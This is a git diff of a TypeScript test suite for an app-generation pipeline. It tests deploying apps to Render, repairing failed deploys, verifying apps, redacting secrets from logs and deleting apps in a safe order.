expect(polls.get(WEB_ID)).toBe(1); - }); - - // The run pushed, and Render deploys the push. A poll that fails once - // must not end the run. - it("continues to wait when a poll fails after the repair push", async () => { - builderReturns(repair); - const polls = fakeRender({ - [WEB_ID]: [LIVE_WEB], - [API_ID]: [ - FAILED_API, - 502, - { id: "dep-api2", status: "live" }, - ], - }); - - const result = await deployOn(); - - expect(result.status, result.summary).toBe("deployed"); - expect(mocks.pushVerified).toHaveBeenCalledTimes(1); - expect(polls.get(API_ID)).toBe(3); + beforeEach(() => { + useRepo([[APP_SPEC, json(spec)]]); + useRunSandbox([ + [APP_SOURCE, STOREFRONT_HTML], + [`${APP_DIR}/api/src/index.ts`, "export {};"], + ]); + builderReturns(repair); + mocks.deployManagerTask.mockResolvedValue({ + failures: [ + { + serviceName: "acme-demo-shop-api", + status: "pre_deploy_failed", + diagnosis: 'npm error Missing script: "migrate"', + }, + ], }); + }); - it("reports the status of the deploy of the last repair", async () => { - builderReturns(repair); - fakeRender({ - [WEB_ID]: [LIVE_WEB], - [API_ID]: [ - FAILED_API, - FAILED_API, - { id: "dep-api2", status: "build_failed" }, - { id: "dep-api2", status: "build_failed" }, - { id: "dep-api3", status: "update_failed" }, - ], - }); - - const result = await deployOn(); - - expect(result).toEqual({ - status: "deploy_failed", - summary: 'acme-demo-shop-api ended as "update_failed".', - }); - expect(mocks.pushVerified).toHaveBeenCalledTimes(2); - expect(diagnosedStatuses()).toEqual([ - "pre_deploy_failed", - "build_failed", - ]); - // Each round reads the logs of the deploy that failed in that round. - expect( - mocks.fetchDeployLogs.mock.calls.map( - ([serviceId, deployId]) => `${serviceId} ${deployId}`, - ), - ).toEqual([`${API_ID} dep-api1`, `${API_ID} dep-api2`]); - }); + it("diagnoses a failed deploy, repairs it through verify-app and publish-app, and ends deployed when the new deploy is live", async () => { + apiDeployFails(); + nextDeploys.set(API_ID, { id: "dep-api2", status: "live" }); + mocks.fetchDeployLogs.mockResolvedValue( + "DATABASE_URL=postgres://shop:s3cret@dpg-shop-a/shop\nnpm error Missing script", + ); - it("reports a repair push that started no new deploy", async () => { - builderReturns(repair); - fakeRender({ - [WEB_ID]: [LIVE_WEB], - [API_ID]: [FAILED_API], - }); - - const result = await deployOn(); - - expect(result).toEqual({ - status: "deploy_failed", - summary: - "acme-demo-shop-api: the repair push did not start a new deploy in 15 minutes. " + - 'The newest deploy is still dep-api1 ("pre_deploy_failed"). ' + - "Render deploys a service again when a commit changes files in its rootDir or its entry in the Blueprint.", - }); - // Another round diagnoses the same failed deploy, so none starts. - expect(mocks.deployManagerTask).toHaveBeenCalledTimes(1); - expect(mocks.buildTask).toHaveBeenCalledTimes(1); - expect(mocks.waitForHttpOk).not.toHaveBeenCalled(); - }); + const result = await deploy(); - // Render keeps the last live deploy of a failed service. The smoke - // checks must not test that deploy as if it were the repair. - it("fails when the repair changes no files", async () => { - builderReturns(manifest); - mocks.commitPaths.mockResolvedValue(null); - fakeRender({ - [WEB_ID]: [LIVE_WEB], - [API_ID]: [FAILED_API], - }); - - const result = await deployOn(); - - expect(result).toEqual({ - status: "deploy_failed", - summary: - "Deploy repair round 1 changed no files, so Render has no new commit to deploy. " + - 'acme-demo-shop-api ended as "pre_deploy_failed".', - }); - expect(mocks.pushVerified).not.toHaveBeenCalled(); - expect(mocks.waitForHttpOk).not.toHaveBeenCalled(); + expect(result.status, result.summary).toBe("deployed"); + expect(subtasks()).toEqual([ + "deploy-manager", + "builder", + "verify-app", + "publish-app", + ]); + // The Dashboard shows every task input, so the logs arrive redacted. + const diagnosed = JSON.stringify(ran[0].input); + expect(diagnosed).toContain("npm error Missing script"); + expect(diagnosed).toContain("[REDACTED]"); + expect(diagnosed).not.toContain("s3cret"); + expect(pushes).toHaveLength(1); + expect(JSON.parse(pushes[0].get(APP_SPEC) ?? "")).toEqual({ + ...spec, + manifest: repair, }); }); -}); - -/** - * awaiting_blueprint tells the user to create a Blueprint. A lookup error once - * gave that status, although a Blueprint watched the repository. - */ -describe("awaitDeployment Blueprint lookup", () => { - beforeEach(() => { - vi.clearAllMocks(); - files = new Map([[APP_SPEC, `${JSON.stringify(spec, null, 2)}\n`]]); - fake = fakeSandbox(files); - newBuild(); - }); - it("gives awaiting_blueprint when no Blueprint watches the path", async () => { - mocks.findBlueprint.mockResolvedValue(null); + it("ends deploy_failed without smoke tests when the deploy manager diagnoses no failure", async () => { + apiDeployFails(); + mocks.deployManagerTask.mockResolvedValue({ failures: [] }); const result = await deploy(); - expect(result.status).toBe("awaiting_blueprint"); - expect(result.summary).toContain( - "no Blueprint in workspace tea-test is watching render.yaml", - ); - expect(mocks.waitForServices).not.toHaveBeenCalled(); - }); - - it("ends the run with the error when the lookup fails", async () => { - const error = new Error( - "The Blueprint lookup failed 5 times in sequence. " + - "The last error: Listing Blueprints failed with 503.", - ); - mocks.findBlueprint.mockRejectedValue(error); - - await expect(deploy()).rejects.toBe(error); - expect(mocks.waitForServices).not.toHaveBeenCalled(); + expect(result.status).toBe("deploy_failed"); + expect(result.summary).toMatch(/diagnosed no failure/); + expect(mocks.buildTask).not.toHaveBeenCalled(); + expect(pushes).toEqual([]); + expect(mocks.waitForHttpOk).not.toHaveBeenCalled(); }); -}); -/** - * Render can route a new hostname some minutes after its first deploy is - * live. A run once ended as deploy_failed, because its site gave 404 for the - * 3 minutes of the check, and the site was live. - */ -describe("awaitDeployment smoke checks", () => { - const WEB_URL = "https://acme-demo-shop-web.onrender.com"; - - beforeEach(() => { - vi.clearAllMocks(); - newBuild(); - mocks.findBlueprint.mockResolvedValue({ - id: "exs-test", - name: "factory", - status: "synced", - autoSync: true, - repo: "https://github.com/acme/apps", - branch: "main", - path: "render.yaml", - }); - mocks.waitForServices.mockImplementation( - async (_workspaceId: string, names: string[]) => - new Map( - names.map((name) => [ - name, - { id: `srv-${name}`, name, url: `https://${name}.onrender.com` }, - ]), - ), - ); - mocks.waitForDeploy.mockResolvedValue(LIVE); - mocks.waitForHttpOk.mockResolvedValue({ - ok: true, - status: 200, - body: '[{"id":1}]', - headers: new Headers({ "access-control-allow-origin": "*" }), + it("pushes nothing and ends deploy_failed when a repair adds a resource", async () => { + apiDeployFails(); + builderReturns({ + ...repair, + services: [ + ...repair.services, + { ...api, name: "search", rootDir: "search" }, + ], }); - mocks.pageContains.mockResolvedValue(true); - }); - it("waits longer for the first answer of each hostname than for the data", async () => { const result = await deploy(); - expect(result.status, result.summary).toBe("deployed"); - expect( - mocks.waitForHttpOk.mock.calls.map(([url, timeoutMs]) => [ - url, - timeoutMs / 60_000, - ]), - ).toEqual([ - [WEB_URL, 10], - [`${API_URL}/health`, 10], - [`${API_URL}/api/items`, 3], - ]); + expect(result.status).toBe("deploy_failed"); + expect(result.summary).toMatch(/was not pushed\. The repair adds/); + expect(pushes).toEqual([]); }); - it("tells how long it waited for a site that did not answer", async () => { - mocks.waitForHttpOk.mockResolvedValueOnce({ - ok: false, - status: 404, - body: "", - headers: new Headers(), - }); + it("ends deploy_failed when the repair push starts no new deploy, even though an old deploy is live", async () => { + apiDeployFails(); const result = await deploy(); - expect(result).toEqual({ - status: "deploy_failed", - summary: `${WEB_URL} did not return a successful response in 10 minutes (last status 404).`, - }); + expect(result.status).toBe("deploy_failed"); + expect(result.summary).toMatch(/repair push did not start a new deploy/); + expect(pushes).toHaveLength(1); + expect(mocks.waitForHttpOk).not.toHaveBeenCalled(); }); -}); -/* ── Delete ───────────────────────────────────────────────────────────── */ + it("on a rebuild, waits past the pre-push deploy of each changed service and keeps the live deploy of an unchanged one", async () => { + deploys.set(WEB_ID, [{ id: "dep-web0", status: "live" }]); + deploys.set(API_ID, [{ id: "dep-api0", status: "live" }]); + nextDeploys.set(API_ID, { id: "dep-api1", status: "live" }); -const APP_SOURCE = `${APP_DIR}/web/index.html`; -const cafe: AppSpec = { ...spec, appName: "cafe", prompt: "A menu for a cafe" }; -const CAFE_SPEC = `${appPath("demo", "cafe")}/factory.json`; -const SHOP_RESOURCES = [ - "acme-demo-shop-web", - "acme-demo-shop-api", - "acme-demo-shop-db", -]; - -function json(value: unknown): string { - return `${JSON.stringify(value, null, 2)}\n`; -} - -function sameFiles(a: Map, b: Map): boolean { - return ( - a.size === b.size && - [...a].every(([path, contents]) => b.get(path) === contents) - ); -} - -/** What the gateway gives delete-app for the shop app. */ -const SHOP_APP = { user: "demo", appName: "shop" }; - -/** The JSON events that the delete writes with one console method, in order. */ -function logged(method: "log" | "warn" | "error"): Record[] { - return vi - .mocked(console[method]) - .mock.calls.flatMap(([line]) => - typeof line === "string" && line.startsWith("{") - ? [JSON.parse(line)] - : [], - ); -} - -/** - * A Blueprint sync recreates a declared resource that is missing, and it - * never deletes a resource. So the order is the contract: the app leaves the - * Blueprint, the syncs of earlier commits finish, then Render deletes its - * resources, then its files go. - */ -describe("removeApp", () => { - /** Each commit, push, wait, and Render delete, in order. */ - let steps: string[]; - /** The files of the last commit. */ - let head: Map; - - /** The apps repository as the sandbox of each step clones it. */ - function clone(entries: [string, string][]): void { - files = new Map(entries); - fake = fakeSandbox(files); - head = new Map(files); - mocks.createSandbox.mockResolvedValue(fake.sandbox); - } - - beforeEach(() => { - vi.clearAllMocks(); - vi.spyOn(console, "log").mockImplementation(() => {}); - vi.spyOn(console, "warn").mockImplementation(() => {}); - process.env.APPS_REPO = "acme/apps"; - process.env.RENDER_WORKSPACE_ID = "tea-test"; - steps = []; - commits = []; - clone([ - [APP_SPEC, json(spec)], - [APP_SOURCE, STOREFRONT_HTML], - [CAFE_SPEC, json(cafe)], - ]); - mocks.githubToken.mockResolvedValue("token"); - mocks.cloneAppsRepo.mockResolvedValue("https://github.com/acme/apps.git"); - - // As git does, make no commit when nothing changed. - mocks.commitPaths.mockImplementation(async () => { - if (sameFiles(files, head)) return null; - head = new Map(files); - commits.push(head); - steps.push("commit"); - return "c".repeat(40); - }); - mocks.pushVerified.mockImplementation(async () => { - steps.push("push"); - return "c".repeat(40); - }); - mocks.findBlueprint.mockResolvedValue({ - id: "exs-test", - name: "factory", - status: "in_sync", - autoSync: true, - repo: "https://github.com/acme/apps", - branch: "main", - path: "render.yaml", - }); - mocks.waitForBlueprintSyncs.mockImplementation(async () => { - steps.push("wait for syncs"); - }); - mocks.deleteAppResources.mockImplementation(async () => { - steps.push("delete resources"); - return SHOP_RESOURCES; + const result = await deploy({ + deploysBefore: new Map([ + ["acme-demo-shop-web", "dep-web0"], + ["acme-demo-shop-api", "dep-api0"], + ]), + changedServices: ["api"], }); - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - it("deletes the resources after the app leaves the Blueprint and the syncs finish, and the files last", async () => { - await expect(removeApp(tasks, SHOP_APP)).resolves.toEqual(SHOP_RESOURCES); - - expect(steps).toEqual([ - "commit", - "push", - "wait for syncs", - "delete resources", - "commit", - "push", - ]); - const [leave, removal] = commits; - - // A commit that removed the source would start a build of each service. - expect(leave.get(APP_SOURCE)).toBe(STOREFRONT_HTML); - expect(JSON.parse(leave.get(APP_SPEC) ?? "")).toEqual({ - ...spec, - deletedAt: expect.any(String), + expect(result.status, result.summary).toBe("deployed"); + expect(Object.fromEntries(resultDeploys)).toEqual({ + [WEB_ID]: "dep-web0", + [API_ID]: "dep-api1", }); - const root = leave.get(ROOT_BLUEPRINT) ?? ""; - expect(root).not.toContain("acme-demo-shop"); - expect(root).toContain("acme-demo-cafe-web"); - - expect( - [...removal.keys()].filter((path) => path.startsWith(`${APP_DIR}/`)), - ).toEqual([]); - expect(removal.get(CAFE_SPEC)).toBe(json(cafe)); }); - // On Render, each step then has its own run, with its own logs. - it("runs each step as a subtask", async () => { - const { context, runs } = recordSubtasks(); - await removeApp(context, SHOP_APP); + it("ends deploy_failed when a browser could not use the live app: no API hostname in the storefront, or no CORS header for its origin", async () => { + mocks.pageContains.mockResolvedValue(false); - expect(runs.map(({ name }) => name)).toEqual([ - "remove-app-from-blueprint", - "wait-for-blueprint-syncs", - "delete-app-resources", - "remove-app-files", - ]); - }); + const noHost = await deploy(); - it("waits for the syncs of the Blueprint that watches the apps repository", async () => { - await removeApp(tasks, SHOP_APP); + expect(noHost.status).toBe("deploy_failed"); + expect(noHost.summary).toMatch(/does not contain the API hostname/); - expect(mocks.findBlueprint).toHaveBeenCalledWith({ - workspaceId: "tea-test", - repo: "https://github.com/acme/apps", - branch: factoryConfig.branch, - path: factoryConfig.blueprintPath, + mocks.pageContains.mockResolvedValue(true); + mocks.waitForHttpOk.mockResolvedValue({ + ok: true, + status: 200, + body: '[{"id":1}]', + headers: new Headers(), }); - expect(mocks.waitForBlueprintSyncs).toHaveBeenCalledWith( - "exs-test", - expect.objectContaining({ - // The wait gives Render time to receive this push. - pushedAt: expect.any(Number), - }), - ); - }); - - // The spec stays in the apps repository, so the task input stays small. - it("gives the teardown only the fields of the spec that name the resources", async () => { - await removeApp(tasks, SHOP_APP); - expect(mocks.deleteAppResources).toHaveBeenCalledWith( - { user: "demo", appName: "shop", resourcePrefix: "acme" }, - expect.objectContaining({ workspaceId: "tea-test" }), - ); - }); - - // Only a Blueprint creates the resources of an app, so without one no sync - // can bring a resource back. - it("deletes without a wait when no Blueprint watches the apps repository", async () => { - mocks.findBlueprint.mockResolvedValue(null); - - await expect(removeApp(tasks, SHOP_APP)).resolves.toEqual(SHOP_RESOURCES); + const noCors = await deploy(); - expect(mocks.waitForBlueprintSyncs).not.toHaveBeenCalled(); - expect(steps).toEqual([ - "commit", - "push", - "delete resources", - "commit", - "push", - ]); - expect(logged("warn")).toContainEqual( - expect.objectContaining({ event: "blueprint_not_found" }), - ); + expect(noCors.status).toBe("deploy_failed"); + expect(noCors.summary).toMatch(/no access-control-allow-origin header/); }); +}); - // A delete that failed after its first push starts again from there. - it("continues a delete that an earlier attempt started", async () => { - const deletedAt = "2026-02-01T00:00:00.000Z"; - clone([ - [APP_SPEC, json({ ...spec, deletedAt })], - [APP_SOURCE, STOREFRONT_HTML], - [CAFE_SPEC, json(cafe)], - [ROOT_BLUEPRINT, rootBlueprint([cafe])], - ]); +/* ── verify-app ───────────────────────────────────────────────────────── */ - await removeApp(tasks, SHOP_APP); +describe("verifyAppTask", () => { + const DATABASE_URL = "postgres://app:app@127.0.0.1:5432/appdb"; - expect(steps).toEqual([ - "wait for syncs", - "delete resources", - "commit", - "push", - ]); - expect(mocks.waitForBlueprintSyncs).toHaveBeenCalledWith( - "exs-test", - expect.objectContaining({ pushedAt: null }), - ); - expect(logged("log")).toContainEqual({ - event: "app_removed_from_blueprint", + function verify(manifest: Manifest, databaseUrl: string | null = null) { + return verifyAppTask.func(tasks, { + sandboxId: runSandbox.id, user: "demo", appName: "shop", - deletedAt, - commit: null, + manifest, + databaseUrl, }); - }); - - it("deletes nothing on Render for an app that has no spec", async () => { - clone([[CAFE_SPEC, json(cafe)]]); - - await expect(removeApp(tasks, SHOP_APP)).resolves.toEqual([]); + } - expect(mocks.findBlueprint).not.toHaveBeenCalled(); - expect(mocks.waitForBlueprintSyncs).not.toHaveBeenCalled(); - expect(mocks.deleteAppResources).not.toHaveBeenCalled(); - expect(steps).toEqual([]); - expect(logged("log")).toContainEqual({ - event: "app_spec_not_found", - user: "demo", - appName: "shop", - }); - }); + const apiOnly: Manifest = { services: [api], databases: [{ name: "db" }] }; + const apiSource: [string, string][] = [ + [`${APP_DIR}/api/src/index.ts`, "export {};"], + ]; - it("keeps the files and the spec when Render does not delete a resource", async () => { - mocks.deleteAppResources.mockRejectedValue( - new Error("Render did not delete acme-demo-shop-api (403)"), + it("fails a web service whose health check needs the database, or whose data endpoint returns no rows", async () => { + useRunSandbox(apiSource, (command) => + command.includes("nohup") && command.includes("postgres://unreachable/db") + ? { output: "Error: connect ECONNREFUSED", exitCode: 1 } + : undefined, ); + const needsDatabase = await verify(apiOnly, DATABASE_URL); - await expect(removeApp(tasks, SHOP_APP)).rejects.toThrow("(403)"); - - expect(steps).toEqual(["commit", "push", "wait for syncs"]); - expect(files.get(APP_SOURCE)).toBe(STOREFRONT_HTML); - expect(JSON.parse(files.get(APP_SPEC) ?? "").deletedAt).toEqual( - expect.any(String), + useRunSandbox(apiSource, (command) => + command.includes("%{http_code}") + ? { output: "200\n[]", exitCode: 0 } + : undefined, ); - }); + const noRows = await verify(apiOnly, DATABASE_URL); - // The resource names come from the spec, so a wrong spec would delete the - // resources of a different app. - it("changes nothing when factory.json is the spec of a different app", async () => { - clone([ - [APP_SPEC, json(cafe)], - [APP_SOURCE, STOREFRONT_HTML], + expect(needsDatabase.failures).toEqual([ + expect.stringMatching(/\/health did not answer .* unreachable database/), + ]); + expect(noRows.failures).toEqual([ + expect.stringMatching(/\/api\/items returned 200 but no data/), ]); - - await expect(removeApp(tasks, SHOP_APP)).rejects.toThrow( - "is not a valid spec of demo/shop", - ); - - expect(steps).toEqual([]); - expect(files.get(APP_SOURCE)).toBe(STOREFRONT_HTML); - expect(fake.sandbox.terminate).toHaveBeenCalledTimes(1); }); - // A delete of one app changes no file of another app. - it("commits only the directory of the app and the root Blueprint", async () => { - await removeApp(tasks, SHOP_APP); + it("fails a static site that takes a private-network property from another service", async () => { + useRunSandbox([[APP_SOURCE, STOREFRONT_HTML]]); + + const { failures } = await verify(privateHost); - const scopes = mocks.commitPaths.mock.calls.map(([, , paths]) => paths); - expect(scopes).toEqual([ - ["apps/demo/shop", "render.yaml"], - ["apps/demo/shop", "render.yaml"], + expect(failures).toEqual([ + expect.stringMatching(/VITE_API_HOST .*private network/), ]); - for (const call of mocks.pushVerified.mock.calls) { - expect(call[4]).toEqual(["apps/demo/shop", "render.yaml"]); - } }); - // So that each push starts from the newest commit, and no sandbox runs - // while the other steps wait. - it("clones the apps repository in a new sandbox for each push, and terminates it", async () => { - await removeApp(tasks, SHOP_APP); + it("removes the files the app's .gitignore ignores before the build, so a build that needs one fails", async () => { + useRunSandbox([ + [APP_SOURCE, STOREFRONT_HTML], + [`${APP_DIR}/web/node_modules/.bin/vite`, "#!/bin/sh"], + ]); - expect(mocks.createSandbox).toHaveBeenCalledTimes(2); - expect(mocks.cloneAppsRepo).toHaveBeenCalledTimes(2); - expect(fake.sandbox.terminate).toHaveBeenCalledTimes(2); - }); + const { failures } = await verify({ + services: [ + { ...storefront, buildCommand: "test -f node_modules/.bin/vite" }, + ], + }); - it("logs the commit of each step that pushes", async () => { - await removeApp(tasks, SHOP_APP); - - expect(logged("log")).toEqual([ - { - event: "app_removed_from_blueprint", - user: "demo", - appName: "shop", - deletedAt: expect.any(String), - commit: "c".repeat(40), - }, - { - event: "app_files_removed", - user: "demo", - appName: "shop", - commit: "c".repeat(40), - }, + expect(failures).toEqual([ + expect.stringMatching(/^web \(web\) build failed/), + ]); + expect([...buildFiles.keys()]).toEqual([ + APP_SOURCE, + `${APP_DIR}/.gitignore`, ]); }); }); +/* ── delete-app ───────────────────────────────────────────────────────── */ + describe("deleteApp", () => { + const SHOP_RESOURCES = [ + "acme-demo-shop-web", + "acme-demo-shop-api", + "acme-demo-shop-db", + ]; + beforeEach(() => { - vi.clearAllMocks(); - vi.spyOn(console, "log").mockImplementation(() => {}); - vi.spyOn(console, "warn").mockImplementation(() => {}); - vi.spyOn(console, "error").mockImplementation(() => {}); - process.env.APPS_REPO = "acme/apps"; - process.env.RENDER_WORKSPACE_ID = "tea-test"; - files = new Map([ + useRepo([ [APP_SPEC, json(spec)], [APP_SOURCE, STOREFRONT_HTML], + [CAFE_SPEC, json(cafe)], ]); - fake = fakeSandbox(files); - mocks.createSandbox.mockResolvedValue(fake.sandbox); - mocks.githubToken.mockResolvedValue("token"); - mocks.cloneAppsRepo.mockResolvedValue("https://github.com/acme/apps.git"); - mocks.commitPaths.mockResolvedValue("c".repeat(40)); - mocks.pushVerified.mockResolvedValue("c".repeat(40)); - mocks.findBlueprint.mockResolvedValue(null); - mocks.deleteAppResources.mockResolvedValue([]); + mocks.deleteAppResources.mockResolvedValue(SHOP_RESOURCES); }); - afterEach(() => { - vi.restoreAllMocks(); - }); + it("removes the app from the Blueprint, waits for syncs, deletes its resources, then removes its files and its runs", async () => { + const result = await deleteApp.func(tasks, SHOP_APP); - it("deletes the runs of the app after the app is gone", async () => { - await expect(deleteApp.func(tasks, SHOP_APP)).resolves.toMatchObject({ + expect(result).toMatchObject({ status: "deleted", + deleted: SHOP_RESOURCES, }); - + expect(subtasks()).toEqual([ + "remove-app-from-blueprint", + "wait-for-blueprint-syncs", + "delete-app-resources", + "remove-app-files", + ]); + const [leave, removal] = pushes; + // A commit that removed the source would start a build of each service. + expect(leave.get(APP_SOURCE)).toBe(STOREFRONT_HTML); + expect(leave.get(ROOT_BLUEPRINT)).not.toMatch(/acme-demo-shop/); + expect(leave.get(ROOT_BLUEPRINT)).toMatch(/acme-demo-cafe-web/); + expect( + [...removal.keys()].filter((path) => path.startsWith(`${APP_DIR}/`)), + ).toEqual([]); + expect(removal.get(CAFE_SPEC)).toBe(json(cafe)); expect(mocks.deleteRuns).toHaveBeenCalledWith("demo", "shop"); - expect(mocks.failDelete).not.toHaveBeenCalled(); - expect(fake.sandbox.terminate).toHaveBeenCalled(); - expect(logged("log").at(-1)).toEqual({ - event: "app_deleted", - user: "demo", - appName: "shop", - deleted: [], - }); }); - it("keeps the runs, marked delete_failed, when the delete fails", async () => { + it("deletes no Render resource when the repository has no spec for the app, and still removes its files", async () => { + useRepo([ + [APP_SOURCE, STOREFRONT_HTML], + [CAFE_SPEC, json(cafe)], + ]); + + const result = await deleteApp.func(tasks, SHOP_APP); + + expect(result).toMatchObject({ status: "deleted", deleted: [] }); + expect(subtasks()).toEqual([ + "remove-app-from-blueprint", + "remove-app-files", + ]); + expect(mocks.deleteAppResources).not.toHaveBeenCalled(); + expect(repo.has(APP_SOURCE)).toBe(false); + }); + + it("marks the app delete_failed, and keeps its runs and files, when a step fails", async () => { mocks.deleteAppResources.mockRejectedValue( new Error("Render did not delete acme-demo-shop-db (403)"), ); @@ -1387,476 +1050,33 @@ describe("deleteApp", () => { expect(mocks.failDelete).toHaveBeenCalledWith( "demo", "shop", - "Render did not delete acme-demo-shop-db (403)", + expect.stringMatching(/\(403\)/), ); expect(mocks.deleteRuns).not.toHaveBeenCalled(); - expect(fake.sandbox.terminate).toHaveBeenCalled(); - expect(logged("error")).toEqual([ - { - event: "app_delete_failed", - user: "demo", - appName: "shop", - error: "Render did not delete acme-demo-shop-db (403)", - }, - ]); - }); - - it("starts no sandbox for an app name that is not a slug", async () => { - await expect( - deleteApp.func(tasks, { user: "demo", appName: "../shop" }), - ).rejects.toThrow(); - expect(mocks.createSandbox).not.toHaveBeenCalled(); - }); - - // A failed step fails the delete, and the next DELETE starts again at the - // first step, which reads what the failed attempt left. - it("registers the delete and each of its steps with no retries", () => { - for (const definition of [ - deleteApp, - removeFromBlueprintTask, - waitForSyncsTask, - deleteResourcesTask, - removeFilesTask, - ]) { - expect( - TaskRegistry.getInstance().get(definition.name)?.options?.retry, - definition.name, - ).toEqual({ max_retries: 0, wait_duration_ms: 0 }); - } + expect(subtasks()).not.toContain("remove-app-files"); + expect(repo.get(APP_SOURCE)).toBe(STOREFRONT_HTML); }); }); -describe("promptToApp", () => { - beforeEach(() => { - vi.clearAllMocks(); - process.env.APPS_REPO = "acme/apps"; - process.env.RENDER_WORKSPACE_ID = "tea-test"; - process.env.RENDER_API_KEY = "rnd_test"; - mocks.architectTask.mockResolvedValue({ - appName: "shop", - summary: "A storefront for handmade walnut furniture.", - tiers: [{ kind: "static_site", reason: "The catalog does not change." }], - assetQueries: [], - brief: { - pages: ["Home"], - features: [], - voice: "Warm and plain", - content: "Walnut chairs, oak tables, and ash stools.", - }, - }); - }); - - // The delete would remove what the run publishes. - it("builds nothing when a delete of the app is in progress", async () => { - mocks.claimRunApp.mockResolvedValueOnce({ - claimed: false, - reason: "deleting", - }); - - const result = await promptToApp.func(tasks, { - prompt: "Sell handmade walnut furniture online", - user: "demo", - runId: "run-1", - }); - - expect(result).toEqual({ - status: "failed", - summary: expect.stringContaining("demo/shop is being deleted"), - }); - expect(mocks.claimRunApp).toHaveBeenCalledWith("run-1", "demo", { - appName: "shop", - blueprintPath: "apps/demo/shop/render.yaml", - }); - expect(mocks.createSandbox).not.toHaveBeenCalled(); - expect(mocks.finishRun).toHaveBeenCalledWith("run-1", "failed", { - summary: expect.stringContaining("being deleted"), - }); - }); - - // Both runs would write apps/demo/shop/, and each one would wait for the - // deploys of the other. - it("builds nothing when a different run builds the same app", async () => { - mocks.claimRunApp.mockResolvedValueOnce({ - claimed: false, - reason: "running", - }); - - const result = await promptToApp.func(tasks, { - prompt: "Sell handmade walnut furniture online", - user: "demo", - runId: "run-2", - }); - - expect(result).toEqual({ - status: "failed", - summary: - "A different run is building demo/shop. Submit the prompt again when that run finishes.", - }); - expect(mocks.createSandbox).not.toHaveBeenCalled(); - }); - - // A failed run is final. The task sets its runs row to "failed" and throws, - // and Render then records a failed task run. A retry by Render starts the - // pipeline again outside the concurrency limit, and its result can replace - // the terminal status that the UI and the demo already showed. - it("records a failure once, and Render does not run the task again", async () => { - const reason = 'Subtask failed: Agent "architect" failed: error_max_turns'; - mocks.architectTask.mockRejectedValue(new Error(reason)); - - await expect( - promptToApp.func(tasks, { - prompt: "Sell handmade walnut furniture online", - user: "demo", - runId: "run-1", - }), - ).rejects.toThrow(reason); - - expect(mocks.finishRun).toHaveBeenCalledTimes(1); - expect(mocks.finishRun).toHaveBeenCalledWith("run-1", "failed", { - summary: reason, - }); - // The options that the host sends to Render when it registers tasks. +/* ── Retries ──────────────────────────────────────────────────────────── */ + +// AGENTS.md, Durability: a retry of any of these repeats a side effect or +// hides a failure, so a failure is final and a caller starts again. +it("registers prompt-to-app, verify-app, publish-app, delete-app, and each delete step with retries off", () => { + const definitions = [ + promptToApp, + verifyAppTask, + publishAppTask, + deleteApp, + removeFromBlueprintTask, + waitForSyncsTask, + deleteResourcesTask, + removeFilesTask, + ]; + for (const { name } of definitions) { expect( - TaskRegistry.getInstance().get(promptToApp.name)?.options?.retry, - ).toEqual({ max_retries: 0, wait_duration_ms: 0 }); - }); - - /** - * The verification and the publish are subtasks. On Render, each one has - * its own run, with its input, its result, and its logs. - */ - describe("verify and publish", () => { - const INPUT = { - prompt: "Sell handmade walnut furniture online", - user: "demo", - runId: "run-1", - }; - const site: Manifest = { - services: [ - { - name: "web", - kind: "static_site", - rootDir: "web", - runtime: "static", - buildCommand: "npm ci && npm run build", - staticPublishPath: "dist", - }, - ], - }; - - /** The app of a different user, in the apps repository. */ - const victim: AppSpec = { - ...spec, - user: "victim", - appName: "site", - prompt: "A bakery", - }; - const VICTIM_DIR = appPath("victim", "site"); - const PUBLISHED_PATHS = ["apps/demo/shop", factoryConfig.blueprintPath]; - - function builderOutput(built: Manifest) { - return { summary: "A storefront.", manifest: built }; - } - - beforeEach(() => { - vi.spyOn(console, "log").mockImplementation(() => {}); - vi.spyOn(console, "warn").mockImplementation(() => {}); - files = new Map([ - [`${VICTIM_DIR}/factory.json`, json(victim)], - [`${VICTIM_DIR}/index.html`, STOREFRONT_HTML], - ]); - fake = fakeSandbox(files); - newBuild([[`${APP_DIR}/web/index.html`, STOREFRONT_HTML]]); - // The sandbox of the run first, and then the sandbox of the push. - mocks.createSandbox - .mockReset() - .mockResolvedValueOnce(build.sandbox) - .mockResolvedValue(fake.sandbox); - mocks.githubToken.mockResolvedValue("token"); - mocks.cloneAppsRepo.mockResolvedValue("https://github.com/acme/apps.git"); - mocks.buildTask.mockResolvedValue(builderOutput(site)); - mocks.commitPaths.mockResolvedValue("c".repeat(40)); - mocks.pushVerified.mockResolvedValue("c".repeat(40)); - // No Blueprint watches the apps repository, so the run ends after - // the push. - mocks.findBlueprint.mockResolvedValue(null); - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - - // Only a link in the UI needs the sandbox record. - it("runs on when it cannot record the sandbox", async () => { - vi.spyOn(console, "error").mockImplementation(() => {}); - mocks.sandboxGroupId.mockRejectedValueOnce(new Error("forbidden")); - mocks.setRunSandbox.mockRejectedValueOnce(new Error("store down")); - - const result = await promptToApp.func(tasks, INPUT); - - expect(result.status, result.summary).toBe("awaiting_blueprint"); - expect(mocks.setRunSandbox).toHaveBeenCalledWith("run-1", { - id: build.sandbox.id, - groupId: null, - }); - }); - - it("verifies the app and then publishes it", async () => { - const { context, runs } = recordSubtasks(); - - const result = await promptToApp.func(context, INPUT); - - expect(result.status, result.summary).toBe("awaiting_blueprint"); - // The UI links to the sandbox of the run in the Render Dashboard. - expect(mocks.setRunSandbox).toHaveBeenCalledWith("run-1", { - id: build.sandbox.id, - groupId: "sbg-test", - }); - expect(runs.map(({ name }) => name)).toEqual([ - "architect", - "builder", - "verify-app", - "publish-app", - ]); - expect(runs[2].input).toEqual({ - sandboxId: build.sandbox.id, - user: "demo", - appName: "shop", - manifest: site, - databaseUrl: null, - }); - expect(runs[3].input).toEqual({ - sandboxId: build.sandbox.id, - spec: expect.objectContaining({ - user: "demo", - appName: "shop", - manifest: site, - }), - message: "demo/shop: Sell handmade walnut furniture online", - }); - // The clone of the push holds the files of the build. - expect(files.get(`${APP_DIR}/web/index.html`)).toBe(STOREFRONT_HTML); - expect(files.get(`${APP_DIR}/.gitignore`)).toContain("node_modules/"); - expect(JSON.parse(files.get(APP_SPEC) ?? "").manifest).toEqual(site); - expect(files.get(ROOT_BLUEPRINT)).toContain( - `${factoryConfig.resourcePrefix}-demo-shop-web`, - ); - expect(build.sandbox.terminate).toHaveBeenCalledTimes(1); - expect(fake.sandbox.terminate).toHaveBeenCalledTimes(1); - expect(logged("log")).toEqual([ - { event: "app_verified", user: "demo", appName: "shop" }, - { - event: "app_published", - user: "demo", - appName: "shop", - commit: "c".repeat(40), - }, - ]); - }); - - it("gives the failures of verify-app to the builder, 